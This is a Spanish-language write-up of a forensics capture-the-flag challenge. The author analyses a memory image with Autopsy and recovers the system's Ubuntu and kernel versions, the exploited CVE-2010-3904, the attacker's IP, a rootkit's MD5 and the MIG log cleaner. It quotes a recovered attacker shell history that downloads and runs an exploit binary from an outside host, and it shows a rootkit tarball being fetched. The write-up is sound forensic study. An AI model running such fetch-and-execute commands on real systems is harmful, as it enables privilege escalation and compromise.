Dentro de la competición había una serie de pruebas de análisis forense. Los organizadores te proporcionan un fichero imagen y debes indicar una serie de datos que te piden, a saber:
feellikecsi_rls: Release name y version del sistema afectado.
feellikecsi_knl: Version del kernel.
feellikecsi_cve: Referencia al documento CVE.
feellikecsi_iph: Dirección IP desde donde se realizó el ataque.
feellikecsi_md5: MD5 del rootkit utilizado.
feellikecsi_ulo: Herramienta utilizada para hacer limpieza de los logs.
Antes de bajar el fichero de imagen kcore.dd, instalo el autopsy y sleuthkit en el sitema para llevar algo de orden y un poco de control sobre lo que vamos averiguando. En definitiva se trata de buscar cadenas dentro de la ‘morralla’ que permitan determinar los acontecimientos.
Podríamos haber utilizado comandos desde consola. strings, sed, grep,awk … pero creo que el interfaz web de autopsy y lo que corre por detrás son bastante potentes ya y hacen uso de todo esto. Dicho esto, pongo las soluciones y algunas comentarios a los retos propuestos a continuación:
Montamos el caso en el autopsy y añadimos la imagen de 1 Gb a nuestro host. Se trata de un fichero swap de memoria donde debemos separar convenientemente la información que nos interese.
Haciendo busquedas en las primeras unidades de información y vemos que la prueba se ha montado en un VMWare, como era de esperar.
Phoenix Technologies LTD
6.00
01/01/1992
VMware, Inc.
VMware Virtual Platform
None
None
Intel Corporation
440BX Desktop Reference Platform
Los primeros datos también indican que se trata de un Ubuntu con un determinado kernel:
Linux version 2.6.32-21-generic-pae (buildd@rothera) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) ) #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 (Ubuntu 2.6.32-21.32-generic-pae 2.6.32.11+drm33.2) %s version %s (buildd@rothera) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) ) %s
FeellikeCSI: Release Name and Version
Después de identificar nuestro sistema operativo y saber que los datos que nos piden están en /etc/lsb-release, procedemos a lanzar búsquedas contra el volumen. Unas no tienen éxito, pero otras:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION=»Ubuntu 10.04 LTS»
Token: Ubuntu 10.04 LTS
La dificultad también está en saber en que parte del fichero te vas a encontrar la cadena exacta, porque esto es clave para que te acepten el token. De nada sirve que sepas que es un Ubuntu 10.04 si no puedes definirlo al 100%.
FeellikeCSI: Kernel version
Determinar la versión del kernel, creo que fue lo primero que hice y que tenía claro, ya que aparece en demasiadas ocasiones. Como ocurre con la prueba anterior, hay que ser muy preciso a la hora de introducir la respuesta. Fallé varias veces pero al final me aceptó la respuesta.
Token: 2.6.32-21-generic-pae
FeellikeCSI: CVE
El CVE es el documento que detalla y explica una vulnerabilidad / exploit. Son las siglas de Common Vulnerabilities and Exposures. Tiene el formato CVE-AAAA-XXXX donde AAAA es el año de aparición y XXXX un número de correlación.
Así pues empezamos a meternos en harina. ¿Qué hizo el atacante? ¿Cómo se aprovechó?
Empecé a buscar documentos para esta versión del kernel en Google, había unos cuantos candidatos que por las prisas empecé a meter sin éxito, hasta que decidí buscar algo más concreto: wget a ver si había datos interesantes. Tras hacer una pequeña separación y criba de las toneladas de información que había, ví la linea por donde empezaríamos a obtener cosas ya mas jugosas. El autopsy no dejaba irme a dormir y al dia siguiente salía de viaje.
Unit 70867 (Hex – Ascii)
1: 89 (wget)
df -h
free -m
sudo su –
ls
sudo su –
exit
sudo su –
exit
who
uname -a
mkdir .exp
cd .exp
wget http://www.exploit-db.com/download/15285 -O exp.c
vi exp.c
gcc
gcc exp.c -o exp
wget www2.unsec.net/exp
chmod +x exp
./exp
file exp
ldd ./exp
rm exp
wget www2.unsec.net/exp
chmod +x exp
./exp
cd ..
ls
ls -la
exit
Parece que aramosf (www2.unsec.net) se ha estado descargando algún exploit para la prueba :-). Antes ha mirado con df -h y free -m el espacio dsponible y la cantidad de memoria usada y libre. Asi pues, vamos a bajarnos el exploit a ver de que se trata. wget, vim, blablalba…. :
Tenemos una vulnerabilidad en protocolo RDS Linux con CVE-2010-3904.
Token: CVE-2010-3904
FeellikeCSI: IP From the attacker
Aqui debíamos obtener la ip del atacante. Creo que debí buscar todo tipo de variantes para volcar algún dato satisfactorio. De repente parecía haber encontrado algo en lo que parecían unas variables de entorno:
SHELL=/bin/bashTERM=xtermSSH_CLIENT=46.25.44.195 20929 22SSH_TTY=/dev/pts/0USER=admuserLS_COLORS
… mas datos
/home/admuserSHLVL=2LOGNAME=admuserSSH_CONNECTION=46.25.44.195 20929 178.33.113.35 22LESSOPEN=| /usr/bin/lesspipe %sLESSCLOSE=/usr/bin/lesspipe %s %s_=/usr/include/sslv3/dropbear/usr/include/sslv3/dropbear
Con estos datos estamos a punto de conocer esta prueba y las dos siguientes. Tenemos un path hacia un conocidísimo rootkit que incluye el dropbear y el mig log cleaner.
Token: 46.25.44.195
FeellikeCSI: MD5 of the rootkit
Nos piden el md5 del rootkit con el que han troyanizado el sistema. En la misma búsqueda de wget, me vuelvo a encontrar con algo jugoso:
tar -zxvf rk.tgz
file rk.tgz
wget http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/rk.tgz -O r
Jun 27 16:38:39 /etc/mysql/deb
[yU~
rk.tgz es el rootkit que procedemos a bajar para ver que contiene y obtener el md5, que creo recordar se aplicaba sobre el tgz. Asi que:
tunelko@desarrollo:/var/www/victima$ wget http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/rk.tgz && md5sum rk.tgz
–2011-07-19 14:15:33– http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/rk.tgz
Resolviendo dl.packetstormsecurity.net… 199.58.210.14
Conectando a dl.packetstormsecurity.net|199.58.210.14|:80… conectado.
Petición HTTP enviada, esperando respuesta… 200 OK
Longitud: 4421289 (4,2M) [application/x-gzip]
Guardando en: «rk.tgz»
100%[===============>] 4.421.289 2,14M/s en 2,0s
2011-07-19 14:15:35 (2,14 MB/s) – «rk.tgz» guardado [4421289/4421289]
d0e098de3b0e436f934763810cd31189 rk.tgz
Token: d0e098de3b0e436f934763810cd31189
FeellikeCSI: Log cleaner used
Esta prueba pudo estar un día antes. Debido a la forma de encontrar los datos que ya comenté antes, me equivoqué y ya dudaba estar en los cierto sobre si los logs habían sido limpiados con el mig, como era previsible pensar.
Sabía que junto a dropbear estaba el mig y esa fue la cadena de búsqueda que emplee, hasta llegar a :
[0;32m******************************
[0;32m* MIG Logcleaner v2.0 by
[0;31mno1
[0;32m*
[0;32m******************************..
Intenté de todo: «MIG», «MIG Logcleaner», «MIG Logcleaner v2.0». Nada. ¿Quién iba a pensar que el nombre del ‘log cleaner’ incluiría el nombre del autor?
Perdí mucho tiempo, pero al final … estaba ahí !
Token: MIG Logcleaner v2.0 by no1
Ya para acabar, decir que este es un documento elaborado para tratar de narrar mi propia experiencia, sin ningua otra intención ni motivación.
Un saludo a todos y hasta la próxima !
